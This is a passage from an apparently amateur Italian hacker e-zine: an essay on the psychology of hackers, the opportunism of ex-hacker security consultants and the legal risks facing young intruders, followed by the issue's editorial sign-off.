Quindi ricordate che qualsiasi piattaforma di condivisione puo ….
[by afr0]
Riflessioni sulla psicologia hacker
Molto si e detto e si sta dicendo sul fenomeno hackers. Sono semplici
trasgressivi, teppisti digitali o ladri di informazioni? In realta le
motivazioni che si celano dietro un tentativo di accesso clandestino ad un
sistema sono molteplici e molteplici sono quindi gli assetti psicologici di
chi li effettua. E necessario quindi delineare una tipologia variegata del
mondo dell'hacking contemporaneo. Troviamo una parte di loro i 30 ai 45
anni che rappresentano cio che e rimasto del periodo iniziale del
fenomeno, (in Italia dall'inizio degli anni 80) molti dei quali inseriti nel
mondo dell'informatica professionale. Sognano ancora degli ideali di
“etical hacking”hanno quasi completamente abbandonato le
frequentazioni pericolose del mondo digitale underground. Ogni tanto gli
viene volta di rimettersi all'opera, magari semplicemente di chiacchierare
nelle chat tematiche. Ma un'occhiata alla moglie, ai figli e alìautomobile
nuova appena comprata gli fa cambiare idea. A loro si affianca poi un tipo
di hacker “rampante” di eta compresa tra i 25 ed 35 che dopo un certo
periodo di attivita underground giovanile opera adesso nel mondo della
sicurezza ed e deciso a mettere a frutto le esperienze maturate. Non ha
ancora abbandonato i legami con le comunita digitali trasgressive da cui
cerca di attingere le informazioni utili per le sue proposte di consulenza. E
poi ci sono infine i “ragazzini” Orde di adolescenti (alcuni di loro
immaturi mentalmente ma non anagraficamente) che utilizzano l'hacking
per soddisfare la loro voglia di trasgressione e di distruzione. Cercano
tools sulla rete e imparano a fare port-scanning selvaggio e qualcosina di
complesso come i defacement o i “disturbi” alle chat. Poi si vantano in
rete o al pub sotto casa. Qualcuno li chiama lamer. Ti raccontano le loro
gesta illegali sorridendo, ammiccando, autoincensandosi. Molti di loro
hanno piu paura della mamma che della Polizia Postale.
L'INGANNO DEGLI EX HACKER
Talvolta personaggi che si definiscono ex-hackers, allestiscono vere e
proprie societa di consulenza informatica grazie alle competenze acquisite
durante il periodo selvaggio. Ma le loro competenze divengono ogni
giorno obsolete: si sa, nel mondo del cyberspazio le abilita diventano
rapidamente superate. In alcuni casi questi personaggi hanno effettuato
una serie di intrusioni nell'azzienda a cui volevano offrire la loro
consulenza per poi presentarsi con la soluzione dopo aver provocato il
panico. Allora inizia una sorta di sdoppiamento di personalita Di giorno
li incontri con il vestito buono, pettinati compiti ed ossequiosi, mentre
tentano di vendere alle aziende importanti i loro prodotti di sicurezza, la
notte invece si rimettono i jeans, la felpa larga e magari il berretto con la
visiera all'indietro e frequentano i circoli telematici trasgressivi cercando
di mischiarsi con i ragazzini impertinenti che defacciano i siti o lanciano i
tools. Frequentano gli hack meeting, cercano di farsi fotografare dai
giornalisti per mostrare in giro che appartengono ancora a quel mondo,
che sono ancora al centro di un circuito di informazioni, che sono ancora
in grado di fare hacking.
E ancora, a volte rilasciano interviste inneggianti alla liberta sulla rete e
il giorno dopo partecipano ad un congresso sulla security promosso dal
mondo aziendale e propongono un sistema di sicurezza adatto proprio alle
famigerate compagnie telefoniche, le famose “”telco” obbiettivi elettivi
per Capitan Crunch e per i primi hackers storici degli anni 60-70
E i “ragazzini” vano al centro di un processo di strumentalizzazione.
Qualcuno gli continua a dire a mezza bocca che:” … non siete delinquenti
ma anzi contribuite alla sicurezza delle reti attaccandole, mostrando le
falle del sistema, suggerendo indirettamente degli interventi di sicurezza”
Del resto,quando arriva uno sciame di cavallette i contadini
bestemmiano ma i venditori di insetticida si sfregano le mani Milioni di
dollari guadagnati ogni anno dalle compagnie che si occupano di
sicurezza o che producono antivirus sarebbero a rischio se
improvvisamente gli attacchi dei ragazzini sulla rete dovessero diminuire.
Molti esperti di sicurezza informatica ora tornerebbero a riparare i
televisori.
Cosi i ragazzini si illudono, li ascoltano e quando si fanno beccare si
prendono una denuncia penale. Assaporano una trasgressione
apparentemente a basso rischio, una trasgressione intelligente, raffinata,
unita all'illusione adolescenziale di possedere il mondo. Illusione che
regolarmente fallisce per la maggior parte dei sognatori e che si
concretizza solo in eta adulta per quei pochissimi che riescono ad
accedere a quelle definite dal Sociologo Vilfredo Pareto come elite di
potere
L'illusione di poter governare subito un mondo parallelo, virtuale che gli
adulti non sono ancora riusciti a controllare anche perche hanno
sbagliato all'inizio a progettarlo con il protocollo a pacchetto di internet.
Ma il gioco e bello quando dura poco e questo gioco dura sempre meno.
Si moltiplicano in tutto il mondo le denunce penali a carico di giovani
hacker che prendono coscienza dell'inganno operato dai media nei loro
confronti solo quando vedono arrivare nella loro casa, magari al mattino
presto (come per i delinquenti) la Polizia Postale del loro paese. Fare
l'hacking e quindi piu che un opportunita di lavoro, sopratto
un'opportunita per essere denunciati
Sull'assunzione di ex-hacker da parte delle aziende sono infatti in corso
parecchie dispute, in special modo sulla reale affidabilita a lungo termine
di tali soggetti e sulla rapida obsolescenza delle loro conoscenze una volta
abbandonato il mondo dell'hacking attivo. Secondo gli standard
americani, ad esempio, un passato burrascoso nell'underground digitale
mal si sposa con un'assunzzione (anche come consulente) in una company
seria.
Dinamiche psicologiche dell’hacking giovanile
Gli hackers, specie se giovani, presentano una ridotta percezione del
crimine e tendono a non autodefinirsi come dei criminali. La
mediazione del computer tra loro e la vittima genera intorno
all’azione illegale un’atmosfera tipica del videogame. La scarsa
omertà che contraddistingue le comunità hacker (colui che riesce in
qualche impresa telematica è solito infatti vantarsi facilitando,
sovente, l’opera degli investigatori) offre ulteriori conferme sulla
modesta percezione della gravità di tale comportamento. La presenza
di tratti di personalità tipici (es. l’introversione) unita ad un sé ideale
(immaginario) è spesso riscontrata in soggetti che praticano intrusioni
clandestine. La motivazione che sovente emerge nelle loro azioni
illegali è talvolta comparabile, con quella di certe forme di violenza
contro le cose e contro le persone, apparentemente senza un vantaggio
pragmatico per l’autore (es. danneggiamenti di pubbliche
infrastrutture) ma spiegabili nella valenza comunicativa che tali azioni
implicano, sia diretta verso l’ambiente esterno e sia diretta verso il
sé
dell’autore:
danneggio
il
sistema
informatico
per
mostrare/mostrarmi che sono in grado di farlo e per aumentare il
livello di autostima. L’hacking rappresenta infine uno strumento per
alcuni giovani per entrare in comunicazione con il mondo degli
adulti “a livello paritetico” attraverso il canale criminale,
costringendo la società a difendere i propri gangli vitali da coloro
che, non essendo ancora direttamente implicati nei processi produttivi,
vengono usualmente trattati con “sufficienza”. L’essere considerati
“importanti” (anche se in ambito illegale) può senz’altro costituire
un elemento affascinante per alcuni soggetti che vivono particolari
condizioni di disagio ed inseriti in una rete di interazioni subculturali
con altri soggetti che, per così dire, condividono e rinforzano tale
attività.
Hacking e disagio psicologico: quale confine?
Gli hacker snodano spesso il proprio cammino su un percorso
comunicativo personale e per certi versi elitario, creandosi una
rappresentazione esistenziale “mitica” che li conduce a lungo termine
all’illegalità e alla solitudine. Le molte ore passate davanti al
computer, i tentativi estenuanti di intrusione all’interno di un sistema,
la soddisfazione ricercata nell’aggirare le difese di un sito web, al di
la dei rischi di natura penale, si configurano sovente come una sorta di
“rifugio della mente”, all’interno di una realtà digitale offerta dalle
nuove tecnologie di comunicazione. L’inadeguata capacità di definire
un modello esistenziale confacente con le proprie potenzialità e
corrispondente ai propri bisogni nell’ambito del sistema reale
(fisico), sembra quindi spingere alcuni giovani al un modello
esistenziale alternativo, che trova espressione all’interno di un
sistema comunicazionale artificiale, fruito con modalità illegali. E tale
modalità può però inserirli in un circuito di stigmatizzazione (a
seguito di denuncia penale), analogo a quello che può produrre un
comportamento antisociale tradizionale. Anche in tale contesto le
dinamiche di illegalità possono essere quindi lo specchio di
condizioni di disagio giovanile, esorcizzate attraverso azioni
telematiche di disturbo e di danneggiamento, che presentano,
attualmente, contorni meno definiti rispetto a quelli del sistema
socio-culturale convenzionale.
[by afr0]
The End
Bene si chiude qui questo numero di StartX, Diciamo che questo mese la
redazione di StartX si e data da fare, e mentre voi vi state leggendo la
rivista noi di StartX siamo andati a farci qualche serata underground ;)
Questo terzo numero di StartX e stato un parto lungo, si spera che in
questo 2015 StartX raggiunga il suo scopo, purtroppo non vedo ancora
miglioramenti sulle altre riviste, ma potete star certi che StartX non
crollera!
Bene spero che anche questo terzo numero vi sia piaciuto
Se si chiedo un semplice like alla pagina facebook di afr0
e perche no anche un passa parola della rivista